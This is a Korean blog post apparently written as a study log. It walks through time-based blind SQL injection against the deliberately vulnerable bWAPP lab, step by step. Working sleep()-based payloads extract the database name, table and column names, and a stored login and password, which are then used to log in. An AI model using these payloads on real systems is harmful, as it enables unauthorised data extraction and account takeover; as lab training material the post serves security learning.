상세 컨텐츠

본문 제목

[Bee-Box] Blind SQL 인젝션 5.2 - Time Based

해킹공부/웹해킹 실습

by 밍구21 2022. 7. 12. 12:34

본문

/ SQL injection - Blind - Time Based /

'sqli_15.php' 페이지는 영화 검색 결과를 이메일로 보내는 기능을 한다.
➡ 참 거짓에 상관없이 검색 결과는 모두 동일한 메시지 출력
참을 구별하기 위해 sleep 함수를 사용해 인젝션 시도

검색결과가 참이든 거짓이든 "The result will be sent by e-mail"라는 메시지만 출력하므로 작은 따옴표를 입력해도 오류 메시지를 출력하지 않는다.

항상 참의 결과가 나오게 하는 ' or 1=1 문자열로 서버의 정상커리와 연결을 한 후 sleep()를 사용해 5초 대기 후 메시지를 출력하게 한다.
나는 이전 메시지가 계속 떠있길래 실습이 제대로 안 되는 줄 알았는데 캡쳐 사진처럼 페이지가 로딩되는 걸 보면 성공이라고 한다.

근데, 5로 설정하면 로딩현상이 5초보다 길어서 (내 PC만 그런지는 모르겠다.) 공부를 위한 실습이 아니라면 sleep 초를 줄여도 될 것 같다.



1. 데이터베이스 이름의 길이 추측 - length(), database(), sleep()

' or 1=1 and length(database())=5 and sleep(5)#
- database()는 DB 이름을 알아내는 함수이다. length함수를 통해 DB 이름의 길이를 알아낸다. length값에 1부터 순서대로 대입하다가 5를 넣었을 때 sleep 함수가 작동하는 걸 보아, DB명이 5글자임을 알 수 있다.



2. 데이터베이스 이름 추측 - substring(), database(), sleep()

' or 1=1 and substring(database(),1,1)='b' and sleep(5)#
- substring()으로 문자열을 잘라준다. 첫번째 인자에 database()를 넣어줘서 DB명을 입력하고, 두 번째 인자는 시작 글자 위치, 세 번째 인자는 끝 글자 위치를 넣어준다. 첫 번째 글자를 알아주기 위해 두세번째 인자에 각각 1을 넣어준 뒤 a부터 차례대로 값을 대입한다. b 입력 시 sleep()이 작동하는 걸 보아 DB의 첫번째 글자는 b임을 알 수 있다.

같은 방식으로 다섯 글자를 전부 알아내면 된다. 데이터베이스 명은 'bWAPP'이다.



3. 테이블1 이름 길이 추측

' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1 - ))=4 and sleep(5)#
-MySQL의 메타데이터인 information_schema를 사용한다.
where문으로 table type을 지정해줘서 information_schema에 있는 메타데이터 저장용 테이블은 제외한다.
table schema를 bWAPP으로 제한해 bWAPP DB의 테이블만 출력한다.
limit연산자를 사용해 조건에 맞는 테이블 중 위에서부터 골라온다.
위 코드는 첫번째 테이블 하나를 출력한다.

1부터 차례로 값을 대입해주면 4일 때 sleep()이 작동한다. bWAPP DB의 첫번째 base table 이름은 4글자임을 알 수 있다.



4. 테이블1 이름 추측 +테이블2 이름
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1))>100 and sleep(5)#
- substring(테이블명,1,1)을 이용해 테이블 이름의 첫번째 글자를 추출한다. 그 후 ascii를 통해 글자를 알아줄건데 비교 연산자를 통해 글자 범위를 좁혀준다.

쿼리 실행 후 sleep이 작동하지 않으므로 해당 글자가 ascii 값으로 100보다 작거나 같음을 알 수 있다.



' or 1=1 and sleep(5) and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1))=98#
- 범위를 좁히다 보면 테이블 이름의 첫번째 글자가 아스키 값 98, 즉 b임을 알 수 있다.

같은 과정을 거치면 두 번째 테이블이 'heroes'임을 알 수 있다. 그러므로 'superhero'그룹 사용자의 계정정보가 있는 heroes 테이블 칼럼을 추측할 것이다.



5. 'heroes' 테이블의 칼럼1 이름 길이 추측

' or 1=1 and length((select column_name from information_schema.columns where table_name='heroes' limit 0,1))=2 and sleep(5)#
- limit0,1을 통해 heroes 테이블의 두번째 칼럼으로 범위를 제한시켰다. length()를 통해 heroes 테이블의 칼럼 길이가 2임을 알 수 있다.



6. 'heroes' 테이블의 칼럼1 이름 추측
- 사실 이부분은 sleep이 실행되지 않았다. 코드에 이상이 없는 것 같은데 왤까


' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 0,1),1,1)='i' and sleep(5)#
- where문을 통해 테이블을 heroes로 제한시키고 칼럼 이름을 알아낸다. a부터 차례대로 대입을 해준다. sleep() 작동을 보아 첫 글자가 i임을 알 수 있다.



' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 0,1),1,2)='id' and sleep(5)#
- 위와 같은 방법이지만 substring의 세번째 인자을 2로 바꿔 두 글자를 추출해준다. 이를 통해 칼럼 이름이 id임을 알 수 있다.



7. 'heroes' 테이블의 칼럼2 이름 길이 추측

' or 1=1 and length((select column_name from information_schema.columns where table_name='heroes' limit 1,1))=5 and sleep(5)#
- limit1,1을 통해 heroes 테이블의 두번째 칼럼으로 범위를 제한시켰다. length()를 통해 heroes 테이블의 칼럼 길이가 5임을 알 수 있다.



7. 'heroes' 테이블의 칼럼2 이름 추측 - 여기도 sleep이 실행되지 않는다. 칼럼 이름 추측하는 부분만 그러네

' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 1,1),1,1)='l' and sleep(5)#
- where문을 통해 테이블을 heroes로 제한시키고 칼럼 이름을 알아낸다. a부터 차례대로 대입을 해준다. sleep() 작동을 보아 첫 글자가 l임을 알 수 있다.

같은 방법을 반복하면 두 번째 칼럼명은 'login'임을 알 수 있다.



8. login 칼럼 값 길이 추측

' or 1=1 and length((select login from heroes limit 0,1))=3 and sleep(5)#
- heroes 테이블에서 login 칼럼의 값을 알아낸다. 1부터 대입해 칼럼 길이가 3임을 알 수 있다.



9. login 칼럼 값 추측

' or 1=1 and ascii(substring((select login from heroes limit 0,1),1,1))=110 and sleep(5)#
- login 칼럼의 첫번째 값이 아스키값 110 즉 n임을 알 수 있다. 이 같은 과정을 통해 칼럼명이 'neo'임을 알 수 있다. 아이디 정보를 알아낸 것이다.



10 'heroes' 테이블의 칼럼3 이름 길이 추측

' or 1=1 and length((select column_name from information_schema.columns where table_name='heroes' limit 2,1))=8 and sleep(5)#
- limit2,1을 통해 heroes 테이블의 세번째 칼럼으로 범위를 제한시켰다. length()에 1부터 대입시켜 heroes 테이블의 칼럼 길이가 8임을 알 수 있다.



11 'heroes' 테이블의 칼럼3 이름 추측

' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 2,1),1,1)='p' and sleep(5)#
- where문을 통해 테이블을 heroes로 제한시키고 칼럼 이름을 알아낸다. a부터 차례대로 대입을 해준다. sleep() 작동을 보아 첫 글자가 p임을 알 수 있다.

같은 방법을 반복하면 세 번째 칼럼명은 'password'임을 알 수 있다.



12 password 칼럼 값 길이 추측

' or 1=1 and length((select password from heroes where login='neo'))=7 and sleep(5)#
- heroes 테이블에서 login 칼럼값이 neo인 데이터의 password 칼럼 값을 알아낸다. 1부터 대입을 해준다. password 칼럼 값의 길이가 7임을 알 수 있다.



13 password 칼럼 값 추측

' or 1=1 and ascii(substring((select password from heroes where login='neo'),1,1))=116 and sleep(5)# - password 칼럼값이 아스키값 116 즉, t임을 알 수 있다.

이 같은 방법을 반복해 칼럼 값이 'trinity'임을 알 수 있다.



14 password 칼럼 첫번째 값 trinity 확인

' or 1=1 and substring((select password from heroes where login='neo'),1,7)='trinity' and sleep(5)#
- 칼럼 값이 'trinity'임을 확인했다.



15 로그인 시도
http://localhost/bWAPP/sqli_3.php 로 이동해 찾은 아이디와 비밀번호를 확인해준다.
아이디-neo, 비밀번호-trinity

 

로그인에 성공했다.

관련글 더보기